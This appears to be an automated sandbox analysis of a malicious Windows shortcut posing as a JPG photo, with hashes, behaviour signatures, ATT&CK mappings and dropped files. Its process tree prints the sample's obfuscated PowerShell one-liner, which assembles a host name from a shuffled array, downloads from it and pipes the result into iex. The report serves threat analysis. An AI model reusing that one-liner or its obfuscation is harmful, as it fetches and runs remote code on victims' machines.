299c0f3dece461f829ff4dea584f51c83290af1cc313bea89587aa63a5f1dbd7

Analysis

max time kernel
148s
max time network
145s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 06:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_063146.jpg.lnk
Size 1KB
Sample260728-hf3ssadj4x
SHA256 299c0f3dece461f829ff4dea584f51c83290af1cc313bea89587aa63a5f1dbd7
MD5 cd0d1166e5fba41975e96ae4fea2a0b8
SHA1 30ee7f2bf862b8e0493ca3344d9e92be830832e2
SHA512 6b4603036e274a277902a614cf03b8dd93f1fc67b03bc630fe9a8c7b5f64bbdd0102a192aeb3ce9eda27495d22e49c1d66abd7d7819246bf1015c712299e8bc3
TLSH
T10831E02DDBF20328D6B74B3558B2631287227B0EEA4C9FDF1280C2945564220F878F2F
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4472	powershell.exe
4	4472	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4676	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe
4472	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4472	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4676 wrote to memory of 4472	4676	cmd.exe	90
PID 4472 wrote to memory of 4328	4472	powershell.exe	91
PID 4328 wrote to memory of 2548	4328	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_063146.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('op','reser','ins','h','ay','t','t','ow.','n','o','vp','sh','o')[1,10,3,12,5,9,2,6,4,8,7,11,0] -join $QrffUkO) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\io3t5jul\io3t5jul.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4328
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES17C4.tmp" "c:\Users\Admin\AppData\Local\Temp\io3t5jul\CSC98B41C2EA027438EA8137BBE873A9057.TMP"
      4⤵
      PID:2548

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES17C4.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES17C4.tmp
Size 1KB
SHA256 b6fee1dd70f4e3a4b44429f26f51c7f4ef8f68d1c4ea83c9d13284f093456579
MD5 89680929814f9688aa0b9b7711c1dca7
SHA1 d18f5c94be31a7ed01f99e87f3a080599a832bf8
SHA512 cbf7461fca5ab22ab0983284363050edeacb8a4b7230c8e788c99efb1c7fa3e5dd4b90aada09dbacf8d7819aef1fce7f846ca0338707209785b6587a8c42e5bf
TLSH
T14C216A0593E9870BF0B74731AEF6131FA275FD66EFA2975B854042282851504EEA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

io3t5jul.dll

Path C:\Users\Admin\AppData\Local\Temp\io3t5jul\io3t5jul.dll
Size 3KB
SHA256 ff1f1fe483890a761720274d268368d11129207cfe685557c34b2c148cb2c7b6
MD5 ac8c8065203629c5bbb094d3bbe88a64
SHA1 b55c2d3daf8c6cf1d25af95cd57a4460a014994f
SHA512 34bd007f4b44a89f7d7a50aeb44b1f4914e61a987912d94c401e7656fd5ecfa601429bcedaa85681153345a6d9aa0fed58aed4e65856dc7f2d27e440a5d0c469
TLSH
T12851CA1A93E8466BE4770734AFE3475737B4F8209FB3976959800228AC607546E32BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC98B41C2EA027438EA8137BBE873A9057.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\io3t5jul\CSC98B41C2EA027438EA8137BBE873A9057.TMP
Size 652B
SHA256 6e62ff89639e665e707ee21ba8fa395b4894ad47db81997a9457c4734b9f3853
MD5 a5fd432f59f05ff8f2f6877457149630
SHA1 d2c60596fe7b9afea32c7ef07116b4b0a9da78cf
SHA512 9cc2d9e48e6279bf9b6d3e7181fac719ef530687f41d7454f8d1134f2c614f990dd808e2faa2acf98b56619789230605d695347fe41d509eb2a0abae32300d64
TLSH
T1FBF05E0A63F8420EF0F34B31FEF6436391A9BC66DE3297ED5441031D28645108A62FB2
MD5 SHA1 SHA512 TLSH

Submit Download

io3t5jul.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\io3t5jul\io3t5jul.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

io3t5jul.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\io3t5jul\io3t5jul.cmdline
Size 369B
SHA256 f23728d0d33d92bf929d3a7b3d7f671c7cf6dc2c425699832302363a1c87d256
MD5 6e3005b637c2e8d9ffc36c691be5aaee
SHA1 73336f83a029d81b7847600357445585be92b6f8
SHA512 22ba93268582756df2b98c87ec0139d3060ae78fca3cfecc2ec8d78bdc40090b9ef32f440bd8dca7ff4c68fb9ef00a90b63bc0de468502625ca18774782f5017
TLSH
T118E0D83E5356C6BE56FD3407B16BC9AC8772074739C27F985150449DE01B0047BD3755
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4472-10-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-9-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-11-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-12-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-13-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-14-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-15-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-16-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-17-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-2-0x00007FFE9AF1F000-0x00007FFE9AF20000-memory.dmp

Download

memory/4472-8-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-30-0x000001472A4E0000-0x000001472A4E8000-memory.dmp

Download

memory/4472-7-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-6-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-5-0x000001472A720000-0x000001472A742000-memory.dmp

Download

memory/4472-31-0x000001472A750000-0x000001472A87F000-memory.dmp

Download

memory/4472-32-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-33-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download

memory/4472-35-0x00007FFE9AD90000-0x00007FFE9B734000-memory.dmp

Download